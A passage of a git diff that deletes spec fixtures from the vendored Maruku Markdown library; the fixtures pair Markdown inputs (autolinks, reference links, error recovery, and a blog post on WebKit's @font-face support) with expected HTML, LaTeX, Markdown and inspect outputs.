-<p><a href="http://www.dd.com">http://www.dd.com</a></p>
-
-<pre><code>&lt;http://www.dd.com&gt;</code></pre>
-
-<p><a href="mailto:a@invalid.it">&#097;&#064;&#105;&#110;&#118;&#097;&#108;&#105;&#100;&#046;&#105;&#116;</a></p>
-
-<p><a href="mailto:a@invalid.it">&#097;&#064;&#105;&#110;&#118;&#097;&#108;&#105;&#100;&#046;&#105;&#116;</a></p>
-
-<p><a href="mailto:a@invalid.it">&#097;&#064;&#105;&#110;&#118;&#097;&#108;&#105;&#100;&#046;&#105;&#116;</a></p>
-
-<pre><code>&lt;a@invalid.it&gt;</code></pre>
-*** Output of to_latex ***
-\href{http://www.aa.com}{http\char58\char47\char47www\char46aa\char46com}
-
-\href{http://www.bb.com}{http\char58\char47\char47www\char46bb\char46com}
-
-\href{http://www.cc.com}{http\char58\char47\char47www\char46cc\char46com}
-
-\href{http://www.dd.com}{http\char58\char47\char47www\char46dd\char46com}
-
-\begin{verbatim}<http://www.dd.com>\end{verbatim}
-\href{mailto:a@invalid.it}{a\char64invalid\char46it}
-
-\href{mailto:a@invalid.it}{a\char64invalid\char46it}
-
-\href{mailto:a@invalid.it}{a\char64invalid\char46it}
-
-\begin{verbatim}<a@invalid.it>\end{verbatim}
-*** Output of to_md ***
-<http://www.aa.com>
-
- <http://www.bb.com>
-
-  <http://www.cc.com>
-
-   <http://www.dd.com>
-
-    <http://www.dd.com>
-
-<a@invalid.it>
-
- <a@invalid.it>
-
-   <a@invalid.it>
-
-    <a@invalid.it>
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/pending/ref.md b/vendor/plugins/maruku/spec/block_docs/pending/ref.md
deleted file mode 100644
index acacc84e..00000000
--- a/vendor/plugins/maruku/spec/block_docs/pending/ref.md
+++ /dev/null
@@ -1,24 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-[a. b] is a link.
-
-[a. b]: http://site.com/
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par([md_link(["a. b"],"a_b"), " is a link."]),
-	md_ref_def("a_b", "http://site.com/", {:title=>nil})
-],{},[])
-*** Output of to_html ***
-<p><a href="http://site.com/">a. b</a> is a link.</p>
-*** Output of to_latex ***
-\href{http://site.com/}{a. b} is a link.
-*** Output of to_md ***
-[a. b] is a link.
-
-[a. b]: http://site.com/
-
-*** Output of to_s ***
-a. b is a link.
diff --git a/vendor/plugins/maruku/spec/block_docs/recover/recover_links.md b/vendor/plugins/maruku/spec/block_docs/recover/recover_links.md
deleted file mode 100644
index fe7632e5..00000000
--- a/vendor/plugins/maruku/spec/block_docs/recover/recover_links.md
+++ /dev/null
@@ -1,15 +0,0 @@
-This shows how Maruku recovers from parsing errors
-*** Parameters: ***
-{:on_error=>:warning}
-*** Markdown input: ***
-Search on [Google images][ 	GoOgle search ]
-*** Output of inspect ***
-md_el(:document,[md_par(["Search on ", md_link(["Google images"],"google_search")])],{},[])
-*** Output of to_html ***
-<p>Search on <span>Google images</span></p>
-*** Output of to_latex ***
-Search on Google images
-*** Output of to_md ***
-Search on [Google images][ 	GoOgle search ]
-*** Output of to_s ***
-Search on Google images
diff --git a/vendor/plugins/maruku/spec/block_docs/red_tests/abbrev.md b/vendor/plugins/maruku/spec/block_docs/red_tests/abbrev.md
deleted file mode 100644
index 14ecdb1c..00000000
--- a/vendor/plugins/maruku/spec/block_docs/red_tests/abbrev.md
+++ /dev/null
@@ -1,744 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-
-WebKit (Safari 3.1) and the CSS @font-face declaration
-======================================================
- 
-I'm a big fan of typography in general. If you check out [my homepage](http://elliottcable.name) or my [contact elliottcable](http://elliottcable.name/contact.xhtml) page, and you're using Safari/WebKit or Opera/Kestrel, you'll notice the typefaces (fonts, as colloquialized) are *very* non-standard. (As of this writing, I'm using [Museo][] and [Diavlo][][^jos] heavily on both.)
- 
-The internet has not be a friendly place for typohiles like myself, up to this point, at least. One might even say it was a frightful, mentally scarring environment for those akin to yours truly. We've been restricted to reading page after page after page on day after day after day for year after year after year abominations of markup and design enslaved by the horrible overlords we know as Lucida, Verdana, Arial, Helvetica, Geneva, Georgia, Courier, and... dare I invoke ye, thou my terrible overlord? Times New Roman.
- 
-Wherefore art thou, my glorious Archer? And thee as well, my beautiful Garamond? The technical restrictions of that horrible monster we know as the Web Browser hath forced us all too long to use those most banal, those most common, and those most abused, out of all of the typefaces of the world.
- 
-All hyperbole aside, I'm extremely happy to see the advent of a standard `@font-face` declaration in CSS. Internet Explorer first implemented a crutched, basic version of this way back in version 4, but nothing ever really came of it - their decision to create the proprietary .EOT[^eot] format to appease overly restrictive type foundries' worries about intellectual property (aka. the cold, hard dominatrix that we know only as Ms. Profit) truly and completely killed that initial attempt at bringing astute typography and it's advocates to the web. This new run at `@font-face` by an established, trusted, and open group (the [W3C][] itself, responsible for helping to make much of what we use as designers on the web standard and cross-system compatible) has a much better chance, in my humble opinion - and I am quite looking forward to the consequences if it succeeds.
- 
-Now, onwards to the topic of my post as declared in the header (yes, I know, a slow start - but it's an interesting topic with an interesting history!). WebKit, the open source rendering engine behind the wonderfulness that is Safari, and how it handles the 'new' `@font-face` declaration. No, it's not really 'new', but yes, it feels like it is.
- 
-To put it simply, and to be very blunt, it's broken.
- 
-The [CSS spec section][spec] for `@font-face` is very specific - typefaces are to be selected based on a wide array of criteria placed in the `@font-face` declaration block itself. Various textual CSS attributes may be defined within the `@font-face` declaration, and then they will be checked when the typeface is referred to later in the CSS. For instance, if I have two `@font-face` declarations for the Diavlo family - one for regular text, and one for a heavier weighted version of the typeface - then I later utilize Diavlo in a `font-family:` attribute, it should refer to the basic Diavlo font defined in the first `@font-face`. However, if I were to do the same, but also specify a heavy `font-weight:`, then it should use the heavier version of Diavlo. To place this example in code:
- 
-    @font-face {
-      font-family: 'Diavlo';
-      src: url(./Diavlo/Diavlo_Book.otf) format("opentype");
-    }
-    
-    @font-face {
-      font-family: 'Diavlo';
-      font-weight: 900;
-      src: url(./Diavlo/Diavlo_Black.otf) format("opentype");
-    }
-    
-    h1, h2, h3, h4, h5, h6 {
-      font-family: 'Diavlo';
-      font-weight: 900;
-    }
-    
-    div#content {
-      font-family: 'Diavlo';
-    }
- 
-As you can see, my headings should use the typeface defined in `Diavlo_Black.otf`, while my body content should use `Diavlo_Book.otf`. However, in WebKit, this doesn't work - it completely ignores any attribute except `font-family:` and `src:` in a `@font-face` declaration! Completely ignores them! Not only that - not *only* that - it disregards all but the last `@font-face` for a given `font-family:` attribute string!
- 
-The implication here is that, to make `@font-face` work as it is currently implemented in WebKit (and thus, Safari 3.1), I have to declare *completely imaginary, non-existent type families* to satisfy WebKit alone. Here's the method I have used in the places I current implement `@font-face`:
- 
-    @font-face {
-      font-family: 'Diavlo Book';
-      src: url(./Diavlo/Diavlo_Book.otf) format("opentype");
-    }
-    
-    @font-face {
-      font-family: 'Diavlo Black';
-      src: url(./Diavlo/Diavlo_Black.otf) format("opentype");
-    }
-    
-    h1, h2, h3, h4, h5, h6 {
-      font-family: 'Diavlo Black';
-    }
-    
-    div#content {
-      font-family: 'Diavlo Book';
-    }
- 
-Isn't it horrible? Seriously, my eyes, they bleed. There's lots of problems with this far beyond the lack of semanticity when it comes to the typeface names... let me see how many ways this breaks the purpose of `@font-face`:
- 
- - You remove a large element our control over the display of the page.
- 
-    As soon as we begin to use `@font-face` in our page, we can no longer make any use of any other textual control attribute - `font-weight:`, `font-style:`, and `font-variant:` are no longer available to us, because they no longer correctly map to technical typeface variant/features.
-    
-    Also, many default elements are destroyed, unusable, without 'fixing' - for instance, `<b>` would have no effect in a page styled for WebKit as above; We would have to specify something like `b {font-family: 'Diavlo Black';}` - how broken is that? Unless we caught all such default elements and re-styled them to use the bastardized names instead of the correct attributes, lots of basic HTML formatting would be broken. I myself may never use in-document formatting (separation of design and content!), but what about comments forms? Forum posts? Direct HTML-literal quotes?
-    
-    If we want to use Javascript to modify the display of the content, we can't simply adjust the mentioned textual control attributes - we have to know and change the entire `font-family:` array of strings.
- 
- - You make us very wet.
- 
-     And by wet, I mean 'not DRY'. What if we decide to change one of the bastardized font names? Or use a different font entirely? We have to go through all of our CSS, all of our Javascript, and make sure we update every occurrence of the typeface's bastardized name.
- 
- - You remove our user's user choice, and waste bandwidth.
- 
-    Since the names refer to families that don't, in fact, exist, the browser can't override the declaration with a user's installed version of the typeface. This means that, regardless of whether the user already has the typeface installed on their own computer, the browser won't use that - it doesn't know to use 'Diavlo', which the user has installed, because it was told to use 'Diavlo Black', which no user in the entire world has installed on their computer.
- 
-This whole thing is rather worrying - I've heard Opera has `@font-face` support, though I haven't had time to test this myself, so I don't know if it actually does - or, for that matter, if it does it 'correctly', or has the same problems as WebKit. But either way, WebKit is one of the first two implementations to ever attempt to support `@font-face` (Microsoft's unrelated `@font-face` declaration notwithstanding) - I really don't want to see it's early mistakes carried on to FireFox in a few years, and then Internet Explorer a few decades after that. That will leave us stuck with this broken system forever, as it has been demonstrated time and time again that if nobody else supports an old standard correctly, a newcomer to the standard will not do it correctly either. I for one would really, really, hate that.
- 
-In summary... come on, WebKit team, this isn't like you - you're always the ones with the closest-to-standard implementation, and the cleanest code, and... hell, overall? Webkit is the most secure/fastest browser available. But this is making me lose my faith in you, guys, please get it right. You're pioneering a leap into the future when it comes to the Web - this is as important, or _more_ important, than Mosiac's allowing of images was.
- 
-To put it succinctly - don't fuck this up, y'all.
- 
-[Museo]: <http://www.josbuivenga.demon.nl/museo.html> (Jos Buivenga's Museo free typeface)
-[Diavlo]: <http://www.josbuivenga.demon.nl/diavlo.html> (Jos Buivenga's free Diavlo typeface)
-[^jos]: These are fonts by [Jos Buivenga][jos], quite the amazing person. His (free) fonts are, uniquely, released for use on the web in `@font-face` declarations - unlike the vast majority of other (even free to download) typefaces, which have ridiculously restricting licenses and terms of use statements. Props, Jos - you're a pioneer, and deserve recognition as such.
-*[CSS]: Cascading Style Sheets
-*[.EOT]: Embedded OpenType
-[^eot]: To give Microsoft a little credit, something I rarely do... Yes, I'm aware Microsoft submitted EOT to the W3C as a proposal - the problem isn't with their attempts to make it non-proprietary, but with the basic concept of making typefaces on the web DRMed. Look what such attempts have done to the music and video industry - simply decimated it. Do we really want to see the same thing happen to our beloved medium as typography moves into the 21st century?
-*[W3C]: World Wide Web Consortium
-[W3C]: <http://w3c.org> (World Wide Web Consortium)
-[spec]: <http://?> ()
-*[DRY]: Don't Repeat Yourself
-[jos]: jos
-
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:header,["WebKit (Safari 3.1) and the CSS @font-face declaration"],{:level=>1},[]),
-	md_par([
-		"I",
-		md_entity("rsquo"),
-		"m a big fan of typography in general. If you check out ",
-		md_im_link(["my homepage"], "http://elliottcable.name", nil),
-		" or my ",
-		md_im_link(["contact elliottcable"], "http://elliottcable.name/contact.xhtml", nil),
-		" page, and you",
-		md_entity("rsquo"),
-		"re using Safari/WebKit or Opera/Kestrel, you",
-		md_entity("rsquo"),
-		"ll notice the typefaces (fonts, as colloquialized) are ",
-		md_em(["very"]),
-		" non-standard. (As of this writing, I",
-		md_entity("rsquo"),
-		"m using ",
-		md_link(["Museo"],"museo"),
-		" and ",
-		md_link(["Diavlo"],"diavlo"),
-		md_foot_ref("^jos"),
-		" heavily on both.)"
-	]),
-	md_par([
-		"The internet has not be a friendly place for typohiles like myself, up to this point, at least. One might even say it was a frightful, mentally scarring environment for those akin to yours truly. We",
-		md_entity("rsquo"),
-		"ve been restricted to reading page after page after page on day after day after day for year after year after year abominations of markup and design enslaved by the horrible overlords we know as Lucida, Verdana, Arial, Helvetica, Geneva, Georgia, Courier, and",
-		md_entity("hellip"),
-		" dare I invoke ye, thou my terrible overlord? Times New Roman."
-	]),
-	md_par([
-		"Wherefore art thou, my glorious Archer? And thee as well, my beautiful Garamond? The technical restrictions of that horrible monster we know as the Web Browser hath forced us all too long to use those most banal, those most common, and those most abused, out of all of the typefaces of the world."
-	]),
-	md_par([
-		"All hyperbole aside, I",
-		md_entity("rsquo"),
-		"m extremely happy to see the advent of a standard ",
-		md_code("@font-face"),
-		" declaration in CSS. Internet Explorer first implemented a crutched, basic version of this way back in version 4, but nothing ever really came of it - their decision to create the proprietary .EOT",
-		md_foot_ref("^eot"),
-		" format to appease overly restrictive type foundries",
-		md_entity("rsquo"),
-		" worries about intellectual property (aka. the cold, hard dominatrix that we know only as Ms. Profit) truly and completely killed that initial attempt at bringing astute typography and it",
-		md_entity("rsquo"),
-		"s advocates to the web. This new run at ",
-		md_code("@font-face"),
-		" by an established, trusted, and open group (the ",
-		md_link(["W3C"],"w3c"),
-		" itself, responsible for helping to make much of what we use as designers on the web standard and cross-system compatible) has a much better chance, in my humble opinion - and I am quite looking forward to the consequences if it succeeds."
-	]),
-	md_par([
-		"Now, onwards to the topic of my post as declared in the header (yes, I know, a slow start - but it",
-		md_entity("rsquo"),
-		"s an interesting topic with an interesting history!). WebKit, the open source rendering engine behind the wonderfulness that is Safari, and how it handles the ",
-		md_entity("lsquo"),
-		"new",
-		md_entity("rsquo"),
-		" ",
-		md_code("@font-face"),
-		" declaration. No, it",
-		md_entity("rsquo"),
-		"s not really ",
-		md_entity("lsquo"),
-		"new",
-		md_entity("rsquo"),
-		", but yes, it feels like it is."
-	]),
-	md_par([
-		"To put it simply, and to be very blunt, it",
-		md_entity("rsquo"),
-		"s broken."
-	]),
-	md_par([
-		"The ",
-		md_link(["CSS spec section"],"spec"),
-		" for ",
-		md_code("@font-face"),
-		" is very specific - typefaces are to be selected based on a wide array of criteria placed in the ",
-		md_code("@font-face"),
-		" declaration block itself. Various textual CSS attributes may be defined within the ",
-		md_code("@font-face"),
-		" declaration, and then they will be checked when the typeface is referred to later in the CSS. For instance, if I have two ",
-		md_code("@font-face"),
-		" declarations for the Diavlo family - one for regular text, and one for a heavier weighted version of the typeface - then I later utilize Diavlo in a ",
-		md_code("font-family:"),
-		" attribute, it should refer to the basic Diavlo font defined in the first ",
-		md_code("@font-face"),
-		". However, if I were to do the same, but also specify a heavy ",
-		md_code("font-weight:"),
-		", then it should use the heavier version of Diavlo. To place this example in code:"
-	]),
-	md_el(:code,[],{:raw_code=>"@font-face {\n  font-family: 'Diavlo';\n  src: url(./Diavlo/Diavlo_Book.otf) format(\"opentype\");\n}\n\n@font-face {\n  font-family: 'Diavlo';\n  font-weight: 900;\n  src: url(./Diavlo/Diavlo_Black.otf) format(\"opentype\");\n}\n\nh1, h2, h3, h4, h5, h6 {\n  font-family: 'Diavlo';\n  font-weight: 900;\n}\n\ndiv#content {\n  font-family: 'Diavlo';\n}"},[]),
-	md_par([
-		"As you can see, my headings should use the typeface defined in ",
-		md_code("Diavlo_Black.otf"),
-		", while my body content should use ",
-		md_code("Diavlo_Book.otf"),
-		". However, in WebKit, this doesn",
-		md_entity("rsquo"),
-		"t work - it completely ignores any attribute except ",
-		md_code("font-family:"),
-		" and ",
-		md_code("src:"),
-		" in a ",
-		md_code("@font-face"),
-		" declaration! Completely ignores them! Not only that - not ",
-		md_em(["only"]),
-		" that - it disregards all but the last ",
-		md_code("@font-face"),
-		" for a given ",
-		md_code("font-family:"),
-		" attribute string!"
-	]),
-	md_par([
-		"The implication here is that, to make ",
-		md_code("@font-face"),
-		" work as it is currently implemented in WebKit (and thus, Safari 3.1), I have to declare ",
-		md_em(["completely imaginary, non-existent type families"]),
-		" to satisfy WebKit alone. Here",
-		md_entity("rsquo"),
-		"s the method I have used in the places I current implement ",
-		md_code("@font-face"),
-		":"
-	]),
-	md_el(:code,[],{:raw_code=>"@font-face {\n  font-family: 'Diavlo Book';\n  src: url(./Diavlo/Diavlo_Book.otf) format(\"opentype\");\n}\n\n@font-face {\n  font-family: 'Diavlo Black';\n  src: url(./Diavlo/Diavlo_Black.otf) format(\"opentype\");\n}\n\nh1, h2, h3, h4, h5, h6 {\n  font-family: 'Diavlo Black';\n}\n\ndiv#content {\n  font-family: 'Diavlo Book';\n}"},[]),
-	md_par([
-		"Isn",
-		md_entity("rsquo"),
-		"t it horrible? Seriously, my eyes, they bleed. There",
-		md_entity("rsquo"),
-		"s lots of problems with this far beyond the lack of semanticity when it comes to the typeface names",
-		md_entity("hellip"),
-		" let me see how many ways this breaks the purpose of ",
-		md_code("@font-face"),
-		":"
-	]),
-	md_el(:ul,[
-		md_el(:li,[
-			md_par([
-				"You remove a large element our control over the display of the page."
-			]),
-			md_par([
-				"As soon as we begin to use ",
-				md_code("@font-face"),
-				" in our page, we can no longer make any use of any other textual control attribute - ",
-				md_code("font-weight:"),
-				", ",
-				md_code("font-style:"),
-				", and ",
-				md_code("font-variant:"),
-				" are no longer available to us, because they no longer correctly map to technical typeface variant/features."
-			]),
-			md_par([
-				"Also, many default elements are destroyed, unusable, without ",
-				md_entity("lsquo"),
-				"fixing",
-				md_entity("rsquo"),
-				" - for instance, ",
-				md_code("<b>"),
-				" would have no effect in a page styled for WebKit as above; We would have to specify something like ",
-				md_code("b {font-family: 'Diavlo Black';}"),
-				" - how broken is that? Unless we caught all such default elements and re-styled them to use the bastardized names instead of the correct attributes, lots of basic HTML formatting would be broken. I myself may never use in-document formatting (separation of design and content!), but what about comments forms? Forum posts? Direct HTML-literal quotes?"
-			]),
-			md_par([
-				"If we want to use Javascript to modify the display of the content, we can",
-				md_entity("rsquo"),
-				"t simply adjust the mentioned textual control attributes - we have to know and change the entire ",
-				md_code("font-family:"),
-				" array of strings."
-			])
-		],{:want_my_paragraph=>true},[]),
-		md_el(:li,[
-			md_par(["You make us very wet."]),
-			md_par([
-				"And by wet, I mean ",
-				md_entity("lsquo"),
-				"not DRY",
-				md_entity("rsquo"),
-				". What if we decide to change one of the bastardized font names? Or use a different font entirely? We have to go through all of our CSS, all of our Javascript, and make sure we update every occurrence of the typeface",
-				md_entity("rsquo"),
-				"s bastardized name."
-			])
-		],{:want_my_paragraph=>true},[]),
-		md_el(:li,[
-			md_par([
-				"You remove our user",
-				md_entity("rsquo"),
-				"s user choice, and waste bandwidth."
-			]),
-			md_par([
-				"Since the names refer to families that don",
-				md_entity("rsquo"),
-				"t, in fact, exist, the browser can",
-				md_entity("rsquo"),
-				"t override the declaration with a user",
-				md_entity("rsquo"),
-				"s installed version of the typeface. This means that, regardless of whether the user already has the typeface installed on their own computer, the browser won",
-				md_entity("rsquo"),
-				"t use that - it doesn",
-				md_entity("rsquo"),
-				"t know to use ",
-				md_entity("lsquo"),
-				"Diavlo",
-				md_entity("rsquo"),
-				", which the user has installed, because it was told to use ",
-				md_entity("lsquo"),
-				"Diavlo Black",
-				md_entity("rsquo"),
-				", which no user in the entire world has installed on their computer."
-			])
-		],{:want_my_paragraph=>true},[])
-	],{},[]),
-	md_par([
-		"This whole thing is rather worrying - I",
-		md_entity("rsquo"),
-		"ve heard Opera has ",
-		md_code("@font-face"),
-		" support, though I haven",
-		md_entity("rsquo"),
-		"t had time to test this myself, so I don",
-		md_entity("rsquo"),
-		"t know if it actually does - or, for that matter, if it does it ",
-		md_entity("lsquo"),
-		"correctly",
-		md_entity("rsquo"),
-		", or has the same problems as WebKit. But either way, WebKit is one of the first two implementations to ever attempt to support ",
-		md_code("@font-face"),
-		" (Microsoft",
-		md_entity("rsquo"),
-		"s unrelated ",
-		md_code("@font-face"),
-		" declaration notwithstanding) - I really don",
-		md_entity("rsquo"),
-		"t want to see it",
-		md_entity("rsquo"),
-		"s early mistakes carried on to FireFox in a few years, and then Internet Explorer a few decades after that. That will leave us stuck with this broken system forever, as it has been demonstrated time and time again that if nobody else supports an old standard correctly, a newcomer to the standard will not do it correctly either. I for one would really, really, hate that."
-	]),
-	md_par([
-		"In summary",
-		md_entity("hellip"),
-		" come on, WebKit team, this isn",
-		md_entity("rsquo"),
-		"t like you - you",
-		md_entity("rsquo"),
-		"re always the ones with the closest-to-standard implementation, and the cleanest code, and",
-		md_entity("hellip"),
-		" hell, overall? Webkit is the most secure/fastest browser available. But this is making me lose my faith in you, guys, please get it right. You",
-		md_entity("rsquo"),
-		"re pioneering a leap into the future when it comes to the Web - this is as important, or ",
-		md_em(["more"]),
-		" important, than Mosiac",
-		md_entity("rsquo"),
-		"s allowing of images was."
-	]),
-	md_par([
-		"To put it succinctly - don",
-		md_entity("rsquo"),
-		"t fuck this up, y",
-		md_entity("rsquo"),
-		"all."
-	]),
-	md_ref_def("museo", "http://www.josbuivenga.demon.nl/museo.html>", {:title=>"Jos Buivenga"}),
-	md_ref_def("diavlo", "http://www.josbuivenga.demon.nl/diavlo.html>", {:title=>"Jos Buivenga"}),
-	md_par([
-		md_em([md_link(["CSS"],"css"), ": Cascading Style Sheets"]),
-		md_link([".EOT"],"eot"),
-		": Embedded OpenType ",
-		md_foot_ref("^eot"),
-		": To give Microsoft a little credit, something I rarely do",
-		md_entity("hellip"),
-		" Yes, I",
-		md_entity("rsquo"),
-		"m aware Microsoft submitted EOT to the W3C as a proposal - the problem isn",
-		md_entity("rsquo"),
-		"t with their attempts to make it non-proprietary, but with the basic concept of making typefaces on the web DRMed. Look what such attempts have done to the music and video industry - simply decimated it. Do we really want to see the same thing happen to our beloved medium as typography moves into the 21st century? ",
-		md_em([md_link(["W3C"],"w3c"), ": World Wide Web Consortium"])
-	]),
-	md_ref_def("w3c", "http://w3c.org>", {:title=>"World Wide Web Consortium"}),
-	md_ref_def("spec", "http://?>", {:title=>")   *[DRY]: Don"})
-],{},[])
-*** Output of to_html ***
-<h1 id="webkit_safari_31_and_the_css_fontface_declaration_1">WebKit (Safari 3.1) and the <abbr title="Cascading Style Sheets">CSS</abbr> @font-face declaration</h1>
-
-<p>I&#8217;m a big fan of typography in general. If you check out <a href="http://elliottcable.name">my homepage</a> or my <a href="http://elliottcable.name/contact.xhtml">contact elliottcable</a> page, and you&#8217;re using Safari/WebKit or Opera/Kestrel, you&#8217;ll notice the typefaces (fonts, as colloquialized) are <em>very</em> non-standard. (As of this writing, I&#8217;m using <a href="http://www.josbuivenga.demon.nl/museo.html" title="Jos Buivenga's Museo free typeface">Museo</a> and <a href="http://www.josbuivenga.demon.nl/diavlo.html" title="Jos Buivenga's free Diavlo typeface">Diavlo</a><sup id="fnref:1"><a href="#fn:1" rel="footnote">1</a></sup> heavily on both.)</p>
-
-<p>The internet has not be a friendly place for typohiles like myself, up to this point, at least. One might even say it was a frightful, mentally scarring environment for those akin to yours truly. We&#8217;ve been restricted to reading page after page after page on day after day after day for year after year after year abominations of markup and design enslaved by the horrible overlords we know as Lucida, Verdana, Arial, Helvetica, Geneva, Georgia, Courier, and&#8230; dare I invoke ye, thou my terrible overlord? Times New Roman.</p>
-
-<p>Wherefore art thou, my glorious Archer? And thee as well, my beautiful Garamond? The technical restrictions of that horrible monster we know as the Web Browser hath forced us all too long to use those most banal, those most common, and those most abused, out of all of the typefaces of the world.</p>
-
-<p>All hyperbole aside, I&#8217;m extremely happy to see the advent of a standard <code>@font-face</code> declaration in <abbr title="Cascading Style Sheets">CSS</abbr>. Internet Explorer first implemented a crutched, basic version of this way back in version 4, but nothing ever really came of it - their decision to create the proprietary <abbr title="Embedded OpenType">.EOT</abbr><sup id="fnref:2"><a href="#fn:2" rel="footnote">2</a></sup> format to appease overly restrictive type foundries&#8217; worries about intellectual property (aka. the cold, hard dominatrix that we know only as Ms. Profit) truly and completely killed that initial attempt at bringing astute typography and it&#8217;s advocates to the web. This new run at <code>@font-face</code> by an established, trusted, and open group (the <a href="http://w3c.org" title="World Wide Web Consortium"><abbr title="World Wide Web Consortium">W3C</abbr></a> itself, responsible for helping to make much of what we use as designers on the web standard and cross-system compatible) has a much better chance, in my humble opinion - and I am quite looking forward to the consequences if it succeeds.</p>
-
-<p>Now, onwards to the topic of my post as declared in the header (yes, I know, a slow start - but it&#8217;s an interesting topic with an interesting history!). WebKit, the open source rendering engine behind the wonderfulness that is Safari, and how it handles the &#8216;new&#8217; <code>@font-face</code> declaration. No, it&#8217;s not really &#8216;new&#8217;, but yes, it feels like it is.</p>
-
-<p>To put it simply, and to be very blunt, it&#8217;s broken.</p>
-
-<p>The <a href="http://?"><abbr title="Cascading Style Sheets">CSS</abbr> spec section</a> for <code>@font-face</code> is very specific - typefaces are to be selected based on a wide array of criteria placed in the <code>@font-face</code> declaration block itself. Various textual <abbr title="Cascading Style Sheets">CSS</abbr> attributes may be defined within the <code>@font-face</code> declaration, and then they will be checked when the typeface is referred to later in the <abbr title="Cascading Style Sheets">CSS</abbr>. For instance, if I have two <code>@font-face</code> declarations for the Diavlo family - one for regular text, and one for a heavier weighted version of the typeface - then I later utilize Diavlo in a <code>font-family:</code> attribute, it should refer to the basic Diavlo font defined in the first <code>@font-face</code>. However, if I were to do the same, but also specify a heavy <code>font-weight:</code>, then it should use the heavier version of Diavlo. To place this example in code:</p>
-
-<pre><code>@font-face {
-  font-family: 'Diavlo';
-  src: url(./Diavlo/Diavlo_Book.otf) format("opentype");
-}
-
-@font-face {
-  font-family: 'Diavlo';
-  font-weight: 900;
-  src: url(./Diavlo/Diavlo_Black.otf) format("opentype");
-}
-
-h1, h2, h3, h4, h5, h6 {
-  font-family: 'Diavlo';
-  font-weight: 900;
-}
-
-div#content {
-  font-family: 'Diavlo';
-}</code></pre>
-
-<p>As you can see, my headings should use the typeface defined in <code>Diavlo_Black.otf</code>, while my body content should use <code>Diavlo_Book.otf</code>. However, in WebKit, this doesn&#8217;t work - it completely ignores any attribute except <code>font-family:</code> and <code>src:</code> in a <code>@font-face</code> declaration! Completely ignores them! Not only that - not <em>only</em> that - it disregards all but the last <code>@font-face</code> for a given <code>font-family:</code> attribute string!</p>
-
-<p>The implication here is that, to make <code>@font-face</code> work as it is currently implemented in WebKit (and thus, Safari 3.1), I have to declare <em>completely imaginary, non-existent type families</em> to satisfy WebKit alone. Here&#8217;s the method I have used in the places I current implement <code>@font-face</code>:</p>
-
-<pre><code>@font-face {
-  font-family: 'Diavlo Book';
-  src: url(./Diavlo/Diavlo_Book.otf) format("opentype");
-}
-
-@font-face {
-  font-family: 'Diavlo Black';
-  src: url(./Diavlo/Diavlo_Black.otf) format("opentype");
-}
-
-h1, h2, h3, h4, h5, h6 {
-  font-family: 'Diavlo Black';
-}
-
-div#content {
-  font-family: 'Diavlo Book';
-}</code></pre>
-
-<p>Isn&#8217;t it horrible? Seriously, my eyes, they bleed. There&#8217;s lots of problems with this far beyond the lack of semanticity when it comes to the typeface names&#8230; let me see how many ways this breaks the purpose of <code>@font-face</code>:</p>
-
-<ul>
-<li>
-<p>You remove a large element our control over the display of the page.</p>
-
-<p>As soon as we begin to use <code>@font-face</code> in our page, we can no longer make any use of any other textual control attribute - <code>font-weight:</code>, <code>font-style:</code>, and <code>font-variant:</code> are no longer available to us, because they no longer correctly map to technical typeface variant/features.</p>
-
-<p>Also, many default elements are destroyed, unusable, without &#8216;fixing&#8217; - for instance, <code>&lt;b&gt;</code> would have no effect in a page styled for WebKit as above; We would have to specify something like <code>b {font-family: 'Diavlo Black';}</code> - how broken is that? Unless we caught all such default elements and re-styled them to use the bastardized names instead of the correct attributes, lots of basic HTML formatting would be broken. I myself may never use in-document formatting (separation of design and content!), but what about comments forms? Forum posts? Direct HTML-literal quotes?</p>
-
-<p>If we want to use Javascript to modify the display of the content, we can&#8217;t simply adjust the mentioned textual control attributes - we have to know and change the entire <code>font-family:</code> array of strings.</p>
-</li>
-
-<li>
-<p>You make us very wet.</p>
-
-<p>And by wet, I mean &#8216;not <abbr title="Don't Repeat Yourself">DRY</abbr>&#8217;. What if we decide to change one of the bastardized font names? Or use a different font entirely? We have to go through all of our <abbr title="Cascading Style Sheets">CSS</abbr>, all of our Javascript, and make sure we update every occurrence of the typeface&#8217;s bastardized name.</p>
-</li>
-
-<li>
-<p>You remove our user&#8217;s user choice, and waste bandwidth.</p>
-
-<p>Since the names refer to families that don&#8217;t, in fact, exist, the browser can&#8217;t override the declaration with a user&#8217;s installed version of the typeface. This means that, regardless of whether the user already has the typeface installed on their own computer, the browser won&#8217;t use that - it doesn&#8217;t know to use &#8216;Diavlo&#8217;, which the user has installed, because it was told to use &#8216;Diavlo Black&#8217;, which no user in the entire world has installed on their computer.</p>
-</li>
-</ul>
-
-<p>This whole thing is rather worrying - I&#8217;ve heard Opera has <code>@font-face</code> support, though I haven&#8217;t had time to test this myself, so I don&#8217;t know if it actually does - or, for that matter, if it does it &#8216;correctly&#8217;, or has the same problems as WebKit. But either way, WebKit is one of the first two implementations to ever attempt to support <code>@font-face</code> (Microsoft&#8217;s unrelated <code>@font-face</code> declaration notwithstanding) - I really don&#8217;t want to see it&#8217;s early mistakes carried on to FireFox in a few years, and then Internet Explorer a few decades after that. That will leave us stuck with this broken system forever, as it has been demonstrated time and time again that if nobody else supports an old standard correctly, a newcomer to the standard will not do it correctly either. I for one would really, really, hate that.</p>
-
-<p>In summary&#8230; come on, WebKit team, this isn&#8217;t like you - you&#8217;re always the ones with the closest-to-standard implementation, and the cleanest code, and&#8230; hell, overall? Webkit is the most secure/fastest browser available. But this is making me lose my faith in you, guys, please get it right. You&#8217;re pioneering a leap into the future when it comes to the Web - this is as important, or <em>more</em> important, than Mosiac&#8217;s allowing of images was.</p>
-
-<p>To put it succinctly - don&#8217;t fuck this up, y&#8217;all.</p>
-<div class="footnotes"><hr /><ol><li id="fn:1">
-<p>These are fonts by <a href="jos">Jos Buivenga</a>, quite the amazing person. His (free) fonts are, uniquely, released for use on the web in <code>@font-face</code> declarations - unlike the vast majority of other (even free to download) typefaces, which have ridiculously restricting licenses and terms of use statements. Props, Jos - you&#8217;re a pioneer, and deserve recognition as such. <a href="#fnref:1" rev="footnote">&#8617;</a></p>
-</li><li id="fn:2">
